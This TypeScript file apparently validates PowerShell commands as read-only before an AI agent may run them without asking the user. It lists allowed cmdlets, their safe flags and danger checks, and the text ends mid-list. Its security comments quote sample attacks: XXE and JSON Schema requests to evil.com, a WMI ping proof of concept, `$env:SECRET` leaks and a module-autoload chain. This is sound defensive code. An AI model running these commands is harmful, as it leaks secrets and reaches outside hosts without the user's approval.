File size: 67,327 Bytes
064bfd6 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 | /**
* PowerShell read-only command validation.
*
* Cmdlets are case-insensitive; all matching is done in lowercase.
*/
import type {
ParsedCommandElement,
ParsedPowerShellCommand,
} from '../../utils/powershell/parser.js'
type ParsedStatement = ParsedPowerShellCommand['statements'][number]
import { getPlatform } from '../../utils/platform.js'
import {
COMMON_ALIASES,
deriveSecurityFlags,
getPipelineSegments,
isNullRedirectionTarget,
isPowerShellParameter,
} from '../../utils/powershell/parser.js'
import type { ExternalCommandConfig } from '../../utils/shell/readOnlyCommandValidation.js'
import {
DOCKER_READ_ONLY_COMMANDS,
EXTERNAL_READONLY_COMMANDS,
GH_READ_ONLY_COMMANDS,
GIT_READ_ONLY_COMMANDS,
validateFlags,
} from '../../utils/shell/readOnlyCommandValidation.js'
import { COMMON_PARAMETERS } from './commonParameters.js'
const DOTNET_READ_ONLY_FLAGS = new Set([
'--version',
'--info',
'--list-runtimes',
'--list-sdks',
])
type CommandConfig = {
/** Safe subcommands or flags for this command */
safeFlags?: string[]
/**
* When true, all flags are allowed regardless of safeFlags.
* Use for commands whose entire flag surface is read-only (e.g., hostname).
* Without this, an empty/missing safeFlags rejects all flags (positional
* args only).
*/
allowAllFlags?: boolean
/** Regex constraint on the original command */
regex?: RegExp
/** Additional validation callback - returns true if command is dangerous */
additionalCommandIsDangerousCallback?: (
command: string,
element?: ParsedCommandElement,
) => boolean
}
/**
* Shared callback for cmdlets that print or coerce their args to stdout/
* stderr. `Write-Output $env:SECRET` prints it directly; `Start-Sleep
* $env:SECRET` leaks via type-coerce error ("Cannot convert value 'sk-...'
* to System.Double"). Bash's echo regex WHITELISTS safe chars per token.
*
* Two checks:
* 1. elementTypes whitelist β StringConstant (literals) + Parameter (flag
* names). Rejects Variable, Other (HashtableAst/ConvertExpressionAst/
* BinaryExpressionAst all map to Other), ScriptBlock, SubExpression,
* ExpandableString. Same pattern as SAFE_PATH_ELEMENT_TYPES.
* 2. Colon-bound parameter value β `-InputObject:$env:SECRET` creates a
* SINGLE CommandParameterAst; the VariableExpressionAst is its .Argument
* child, not a separate CommandElement. elementTypes = [..., 'Parameter'],
* whitelist passes. Query children[] for the .Argument's mapped type;
* anything other than StringConstant (Variable, ParenExpression wrapping
* arbitrary pipelines, Hashtable, etc.) is a leak vector.
*/
export function argLeaksValue(
_cmd: string,
element?: ParsedCommandElement,
): boolean {
const argTypes = (element?.elementTypes ?? []).slice(1)
const args = element?.args ?? []
const children = element?.children
for (let i = 0; i < argTypes.length; i++) {
if (argTypes[i] !== 'StringConstant' && argTypes[i] !== 'Parameter') {
// ArrayLiteralAst (`Select-Object Name, Id`) maps to 'Other' β the
// parse script only populates children for CommandParameterAst.Argument,
// so we can't inspect elements. Fall back to string-archaeology on the
// extent text: Hashtable has `@{`, ParenExpr has `(`, variables have
// `$`, type literals have `[`, scriptblocks have `{`. A comma-list of
// bare identifiers has none. `Name, $x` still rejects on `$`.
if (!/[$(@{[]/.test(args[i] ?? '')) {
continue
}
return true
}
if (argTypes[i] === 'Parameter') {
const paramChildren = children?.[i]
if (paramChildren) {
if (paramChildren.some(c => c.type !== 'StringConstant')) {
return true
}
} else {
// Fallback: string-archaeology on arg text (pre-children parsers).
// Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array
// sub), `{` (scriptblock), `[` (type literal/static method).
const arg = args[i] ?? ''
const colonIdx = arg.indexOf(':')
if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) {
return true
}
}
}
}
return false
}
/**
* Allowlist of PowerShell cmdlets that are considered read-only.
* Each cmdlet maps to its configuration including safe flags.
*
* Note: PowerShell cmdlets are case-insensitive, so we store keys in lowercase
* and normalize input for matching.
*
* Uses Object.create(null) to prevent prototype-chain pollution β attacker-
* controlled command names like 'constructor' or '__proto__' must return
* undefined, not inherited Object.prototype properties. Same defense as
* COMMON_ALIASES in parser.ts.
*/
export const CMDLET_ALLOWLIST: Record<string, CommandConfig> = Object.assign(
Object.create(null) as Record<string, CommandConfig>,
{
// =========================================================================
// PowerShell Cmdlets - Filesystem (read-only)
// =========================================================================
'get-childitem': {
safeFlags: [
'-Path',
'-LiteralPath',
'-Filter',
'-Include',
'-Exclude',
'-Recurse',
'-Depth',
'-Name',
'-Force',
'-Attributes',
'-Directory',
'-File',
'-Hidden',
'-ReadOnly',
'-System',
],
},
'get-content': {
safeFlags: [
'-Path',
'-LiteralPath',
'-TotalCount',
'-Head',
'-Tail',
'-Raw',
'-Encoding',
'-Delimiter',
'-ReadCount',
],
},
'get-item': {
safeFlags: ['-Path', '-LiteralPath', '-Force', '-Stream'],
},
'get-itemproperty': {
safeFlags: ['-Path', '-LiteralPath', '-Name'],
},
'test-path': {
safeFlags: [
'-Path',
'-LiteralPath',
'-PathType',
'-Filter',
'-Include',
'-Exclude',
'-IsValid',
'-NewerThan',
'-OlderThan',
],
},
'resolve-path': {
safeFlags: ['-Path', '-LiteralPath', '-Relative'],
},
'get-filehash': {
safeFlags: ['-Path', '-LiteralPath', '-Algorithm', '-InputStream'],
},
'get-acl': {
safeFlags: [
'-Path',
'-LiteralPath',
'-Audit',
'-Filter',
'-Include',
'-Exclude',
],
},
// =========================================================================
// PowerShell Cmdlets - Navigation (read-only, just changes working directory)
// =========================================================================
'set-location': {
safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'],
},
'push-location': {
safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'],
},
'pop-location': {
safeFlags: ['-PassThru', '-StackName'],
},
// =========================================================================
// PowerShell Cmdlets - Text searching/filtering (read-only)
// =========================================================================
'select-string': {
safeFlags: [
'-Path',
'-LiteralPath',
'-Pattern',
'-InputObject',
'-SimpleMatch',
'-CaseSensitive',
'-Quiet',
'-List',
'-NotMatch',
'-AllMatches',
'-Encoding',
'-Context',
'-Raw',
'-NoEmphasis',
],
},
// =========================================================================
// PowerShell Cmdlets - Data conversion (pure transforms, no side effects)
// =========================================================================
'convertto-json': {
safeFlags: [
'-InputObject',
'-Depth',
'-Compress',
'-EnumsAsStrings',
'-AsArray',
],
},
'convertfrom-json': {
safeFlags: ['-InputObject', '-Depth', '-AsHashtable', '-NoEnumerate'],
},
'convertto-csv': {
safeFlags: [
'-InputObject',
'-Delimiter',
'-NoTypeInformation',
'-NoHeader',
'-UseQuotes',
],
},
'convertfrom-csv': {
safeFlags: ['-InputObject', '-Delimiter', '-Header', '-UseCulture'],
},
'convertto-xml': {
safeFlags: ['-InputObject', '-Depth', '-As', '-NoTypeInformation'],
},
'convertto-html': {
safeFlags: [
'-InputObject',
'-Property',
'-Head',
'-Title',
'-Body',
'-Pre',
'-Post',
'-As',
'-Fragment',
],
},
'format-hex': {
safeFlags: [
'-Path',
'-LiteralPath',
'-InputObject',
'-Encoding',
'-Count',
'-Offset',
],
},
// =========================================================================
// PowerShell Cmdlets - Object inspection and manipulation (read-only)
// =========================================================================
'get-member': {
safeFlags: [
'-InputObject',
'-MemberType',
'-Name',
'-Static',
'-View',
'-Force',
],
},
'get-unique': {
safeFlags: ['-InputObject', '-AsString', '-CaseInsensitive', '-OnType'],
},
'compare-object': {
safeFlags: [
'-ReferenceObject',
'-DifferenceObject',
'-Property',
'-SyncWindow',
'-CaseSensitive',
'-Culture',
'-ExcludeDifferent',
'-IncludeEqual',
'-PassThru',
],
},
// SECURITY: select-xml REMOVED. XML external entity (XXE) resolution can
// trigger network requests via DOCTYPE SYSTEM/PUBLIC references in -Content
// or -Xml. `Select-Xml -Content '<!DOCTYPE x [<!ENTITY e SYSTEM
// "http://evil.com/x">]><x>&e;</x>' -XPath '/'` sends a GET request.
// PowerShell's XmlDocument.LoadXml doesn't disable entity resolution by
// default. Removal forces prompt.
'join-string': {
safeFlags: [
'-InputObject',
'-Property',
'-Separator',
'-OutputPrefix',
'-OutputSuffix',
'-SingleQuote',
'-DoubleQuote',
'-FormatString',
],
},
// SECURITY: Test-Json REMOVED. -Schema (positional 1) accepts JSON Schema
// with $ref pointing to external URLs β Test-Json fetches them (network
// request). safeFlags only validates EXPLICIT flags, not positional binding:
// `Test-Json '{}' '{"$ref":"http://evil.com"}'` β position 1 binds to
// -Schema β safeFlags check sees two non-flag args, skips both β auto-allow.
'get-random': {
safeFlags: [
'-InputObject',
'-Minimum',
'-Maximum',
'-Count',
'-SetSeed',
'-Shuffle',
],
},
// =========================================================================
// PowerShell Cmdlets - Path utilities (read-only)
// =========================================================================
// convert-path's entire purpose is to resolve filesystem paths. It is now
// in CMDLET_PATH_CONFIG for proper path validation, so safeFlags here only
// list the path parameters (which CMDLET_PATH_CONFIG will validate).
'convert-path': {
safeFlags: ['-Path', '-LiteralPath'],
},
'join-path': {
// -Resolve removed: it touches the filesystem to verify the joined path
// exists, but the path was not validated against allowed directories.
// Without -Resolve, Join-Path is pure string manipulation.
safeFlags: ['-Path', '-ChildPath', '-AdditionalChildPath'],
},
'split-path': {
// -Resolve removed: same rationale as join-path. Without -Resolve,
// Split-Path is pure string manipulation.
safeFlags: [
'-Path',
'-LiteralPath',
'-Qualifier',
'-NoQualifier',
'-Parent',
'-Leaf',
'-LeafBase',
'-Extension',
'-IsAbsolute',
],
},
// =========================================================================
// PowerShell Cmdlets - Additional system info (read-only)
// =========================================================================
// NOTE: Get-Clipboard is intentionally NOT included - it can expose sensitive
// data like passwords or API keys that the user may have copied. Bash also
// does not auto-allow clipboard commands (pbpaste, xclip, etc.).
'get-hotfix': {
safeFlags: ['-Id', '-Description'],
},
'get-itempropertyvalue': {
safeFlags: ['-Path', '-LiteralPath', '-Name'],
},
'get-psprovider': {
safeFlags: ['-PSProvider'],
},
// =========================================================================
// PowerShell Cmdlets - Process/System info
// =========================================================================
'get-process': {
safeFlags: [
'-Name',
'-Id',
'-Module',
'-FileVersionInfo',
'-IncludeUserName',
],
},
'get-service': {
safeFlags: [
'-Name',
'-DisplayName',
'-DependentServices',
'-RequiredServices',
'-Include',
'-Exclude',
],
},
'get-computerinfo': {
allowAllFlags: true,
},
'get-host': {
allowAllFlags: true,
},
'get-date': {
safeFlags: ['-Date', '-Format', '-UFormat', '-DisplayHint', '-AsUTC'],
},
'get-location': {
safeFlags: ['-PSProvider', '-PSDrive', '-Stack', '-StackName'],
},
'get-psdrive': {
safeFlags: ['-Name', '-PSProvider', '-Scope'],
},
// SECURITY: Get-Command REMOVED from allowlist. -Name (positional 0,
// ValueFromPipeline=true) triggers module autoload which runs .psm1 init
// code. Chain attack: pre-plant module in PSModulePath, trigger autoload.
// Previously tried removing -Name/-Module from safeFlags + rejecting
// positional StringConstant, but pipeline input (`'EvilCmdlet' | Get-Command`)
// bypasses the callback entirely since args are empty. Removal forces
// prompt. Users who need it can add explicit allow rule.
'get-module': {
safeFlags: [
'-Name',
'-ListAvailable',
'-All',
'-FullyQualifiedName',
'-PSEdition',
],
},
// SECURITY: Get-Help REMOVED from allowlist. Same module autoload hazard
// as Get-Command (-Name has ValueFromPipeline=true, pipeline input bypasses
// arg-level callback). Removal forces prompt.
'get-alias': {
safeFlags: ['-Name', '-Definition', '-Scope', '-Exclude'],
},
'get-history': {
safeFlags: ['-Id', '-Count'],
},
'get-culture': {
allowAllFlags: true,
},
'get-uiculture': {
allowAllFlags: true,
},
'get-timezone': {
safeFlags: ['-Name', '-Id', '-ListAvailable'],
},
'get-uptime': {
allowAllFlags: true,
},
// =========================================================================
// PowerShell Cmdlets - Output & misc (no side effects)
// =========================================================================
// Bash parity: `echo` is auto-allowed via custom regex (BashTool
// readOnlyValidation.ts:~1517). That regex WHITELISTS safe chars per arg.
// See argLeaksValue above for the three attack shapes it blocks.
'write-output': {
safeFlags: ['-InputObject', '-NoEnumerate'],
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Write-Host bypasses the pipeline (Information stream, PS5+), so it's
// strictly less capable than Write-Output β but the same
// `Write-Host $env:SECRET` leak-via-display applies.
'write-host': {
safeFlags: [
'-Object',
'-NoNewline',
'-Separator',
'-ForegroundColor',
'-BackgroundColor',
],
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Bash parity: `sleep` is in READONLY_COMMANDS (BashTool
// readOnlyValidation.ts:~1146). Zero side effects at runtime β but
// `Start-Sleep $env:SECRET` leaks via type-coerce error. Same guard.
'start-sleep': {
safeFlags: ['-Seconds', '-Milliseconds', '-Duration'],
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Format-* and Measure-Object moved here from SAFE_OUTPUT_CMDLETS after
// security review found all accept calculated-property hashtables (same
// exploit as Where-Object β I4 regression). isSafeOutputCommand is a
// NAME-ONLY check that filtered them out of the approval loop BEFORE arg
// validation. Here, argLeaksValue validates args:
// | Format-Table β no args β safe β allow
// | Format-Table Name, CPU β StringConstant positionals β safe β allow
// | Format-Table $env:SECRET β Variable elementType β blocked β passthrough
// | Format-Table @{N='x';E={}} β Other (HashtableAst) β blocked β passthrough
// | Measure-Object -Property $env:SECRET β same β blocked
// allowAllFlags: argLeaksValue validates arg elementTypes (Variable/Hashtable/
// ScriptBlock β blocked). Format-* flags themselves (-AutoSize, -GroupBy,
// -Wrap, etc.) are display-only. Without allowAllFlags, the empty-safeFlags
// default rejects ALL flags β `Format-Table -AutoSize` would over-prompt.
'format-table': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'format-list': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'format-wide': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'format-custom': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'measure-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Select-Object/Sort-Object/Group-Object/Where-Object: same calculated-
// property hashtable surface as format-* (about_Calculated_Properties).
// Removed from SAFE_OUTPUT_CMDLETS but previously missing here, causing
// `Get-Process | Select-Object Name` to over-prompt. argLeaksValue handles
// them identically: StringConstant property names pass (`Select-Object Name`),
// HashtableAst/ScriptBlock/Variable args block (`Select-Object @{N='x';E={...}}`,
// `Where-Object { ... }`). allowAllFlags: -First/-Last/-Skip/-Descending/
// -Property/-EQ etc. are all selection/ordering flags β harmless on their own;
// argLeaksValue catches the dangerous arg *values*.
'select-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'sort-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'group-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'where-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Out-String/Out-Host moved here from SAFE_OUTPUT_CMDLETS β both accept
// -InputObject which leaks the same way Write-Output does.
// `Get-Process | Out-String -InputObject $env:SECRET` β secret prints.
// allowAllFlags: -Width/-Stream/-Paging/-NoNewline are display flags;
// argLeaksValue catches the dangerous -InputObject *value*.
'out-string': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'out-host': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
// =========================================================================
// PowerShell Cmdlets - Network info (read-only)
// =========================================================================
'get-netadapter': {
safeFlags: [
'-Name',
'-InterfaceDescription',
'-InterfaceIndex',
'-Physical',
],
},
'get-netipaddress': {
safeFlags: [
'-InterfaceIndex',
'-InterfaceAlias',
'-AddressFamily',
'-Type',
],
},
'get-netipconfiguration': {
safeFlags: ['-InterfaceIndex', '-InterfaceAlias', '-Detailed', '-All'],
},
'get-netroute': {
safeFlags: [
'-InterfaceIndex',
'-InterfaceAlias',
'-AddressFamily',
'-DestinationPrefix',
],
},
'get-dnsclientcache': {
// SECURITY: -CimSession/-ThrottleLimit excluded. -CimSession connects to
// a remote host (network request). Previously empty config = all flags OK.
safeFlags: ['-Entry', '-Name', '-Type', '-Status', '-Section', '-Data'],
},
'get-dnsclient': {
safeFlags: ['-InterfaceIndex', '-InterfaceAlias'],
},
// =========================================================================
// PowerShell Cmdlets - Event log (read-only)
// =========================================================================
'get-eventlog': {
safeFlags: [
'-LogName',
'-Newest',
'-After',
'-Before',
'-EntryType',
'-Index',
'-InstanceId',
'-Message',
'-Source',
'-UserName',
'-AsBaseObject',
'-List',
],
},
'get-winevent': {
// SECURITY: -FilterXml/-FilterHashtable removed. -FilterXml accepts XML
// with DOCTYPE external entities (XXE β network request). -FilterHashtable
// would be caught by the elementTypes 'Other' check since @{} is
// HashtableAst, but removal is explicit. Same XXE hazard as Select-Xml
// (removed above). -FilterXPath kept (string pattern only, no entity
// resolution). -ComputerName/-Credential also implicitly excluded.
safeFlags: [
'-LogName',
'-ListLog',
'-ListProvider',
'-ProviderName',
'-Path',
'-MaxEvents',
'-FilterXPath',
'-Force',
'-Oldest',
],
},
// =========================================================================
// PowerShell Cmdlets - WMI/CIM
// =========================================================================
// SECURITY: Get-WmiObject and Get-CimInstance REMOVED. They actively
// trigger network requests via classes like Win32_PingStatus (sends ICMP
// when enumerated) and can query remote computers via -ComputerName/
// CimSession. -Class/-ClassName/-Filter/-Query accept arbitrary WMI
// classes/WQL that we cannot statically validate.
// PoC: Get-WmiObject -Class Win32_PingStatus -Filter 'Address="evil.com"'
// β sends ICMP to evil.com (DNS leak + potential NTLM auth leak).
// WMI can also auto-load provider DLLs (init code). Removal forces prompt.
// get-cimclass stays β only lists class metadata, no instance enumeration.
'get-cimclass': {
safeFlags: [
'-ClassName',
'-Namespace',
'-MethodName',
'-PropertyName',
'-QualifierName',
],
},
// =========================================================================
// Git - uses shared external command validation with per-flag checking
// =========================================================================
git: {},
// =========================================================================
// GitHub CLI (gh) - uses shared external command validation
// =========================================================================
gh: {},
// =========================================================================
// Docker - uses shared external command validation
// =========================================================================
docker: {},
// =========================================================================
// Windows-specific system commands
// =========================================================================
ipconfig: {
// SECURITY: On macOS, `ipconfig set <iface> <mode>` configures network
// (writes system config). safeFlags only validates FLAGS, positional args
// are SKIPPED. Reject any positional argument β only bare `ipconfig` or
// `ipconfig /all` (read-only display) allowed. Windows ipconfig only uses
// /flags (display), macOS ipconfig uses subcommands (get/set/waitall).
safeFlags: ['/all', '/displaydns', '/allcompartments'],
additionalCommandIsDangerousCallback: (
_cmd: string,
element?: ParsedCommandElement,
) => {
return (element?.args ?? []).some(
a => !a.startsWith('/') && !a.startsWith('-'),
)
},
},
netstat: {
safeFlags: [
'-a',
'-b',
'-e',
'-f',
'-n',
'-o',
'-p',
'-q',
'-r',
'-s',
'-t',
'-x',
'-y',
],
},
systeminfo: {
safeFlags: ['/FO', '/NH'],
},
tasklist: {
safeFlags: ['/M', '/SVC', '/V', '/FI', '/FO', '/NH'],
},
// where.exe: Windows PATH locator, bash `which` equivalent. Reaches here via
// SAFE_EXTERNAL_EXES bypass at the nameType gate in isAllowlistedCommand.
// All flags are read-only (/R /F /T /Q), matching bash's treatment of `which`
// in BashTool READONLY_COMMANDS.
'where.exe': {
allowAllFlags: true,
},
hostname: {
// SECURITY: `hostname NAME` on Linux/macOS SETS the hostname (writes to
// system config). `hostname -F FILE` / `--file=FILE` also sets from file.
// Only allow bare `hostname` and known read-only flags.
safeFlags: ['-a', '-d', '-f', '-i', '-I', '-s', '-y', '-A'],
additionalCommandIsDangerousCallback: (
_cmd: string,
element?: ParsedCommandElement,
) => {
// Reject any positional (non-flag) argument β sets hostname.
return (element?.args ?? []).some(a => !a.startsWith('-'))
},
},
whoami: {
safeFlags: [
'/user',
'/groups',
'/claims',
'/priv',
'/logonid',
'/all',
'/fo',
'/nh',
],
},
ver: {
allowAllFlags: true,
},
arp: {
safeFlags: ['-a', '-g', '-v', '-N'],
},
route: {
safeFlags: ['print', 'PRINT', '-4', '-6'],
additionalCommandIsDangerousCallback: (
_cmd: string,
element?: ParsedCommandElement,
) => {
// SECURITY: route.exe syntax is `route [-f] [-p] [-4|-6] VERB [args...]`.
// The first non-flag positional is the verb. `route add 10.0.0.0 mask
// 255.0.0.0 192.168.1.1 print` adds a route (print is a trailing display
// modifier). The old check used args.some('print') which matched 'print'
// anywhere β position-insensitive.
if (!element) {
return true
}
const verb = element.args.find(a => !a.startsWith('-'))
return verb?.toLowerCase() !== 'print'
},
},
// netsh: intentionally NOT allowlisted. Three rounds of denylist gaps in PR
// #22060 (verb position β dash flags β slash flags β more verbs) proved
// the grammar is too complex to allowlist safely: 3-deep context nesting
// (`netsh interface ipv4 show addresses`), dual-prefix flags (-f / /f),
// script execution via -f and `exec`, remote RPC via -r, offline-mode
// commit, wlan connect/disconnect, etc. Each denylist expansion revealed
// another gap. `route` stays β `route print` is the only read-only form,
// simple single-verb-position grammar.
getmac: {
safeFlags: ['/FO', '/NH', '/V'],
},
// =========================================================================
// Cross-platform CLI tools
// =========================================================================
// File inspection
// SECURITY: file -C compiles a magic database and WRITES to disk. Only
// allow introspection flags; reject -C / --compile / -m / --magic-file.
file: {
safeFlags: [
'-b',
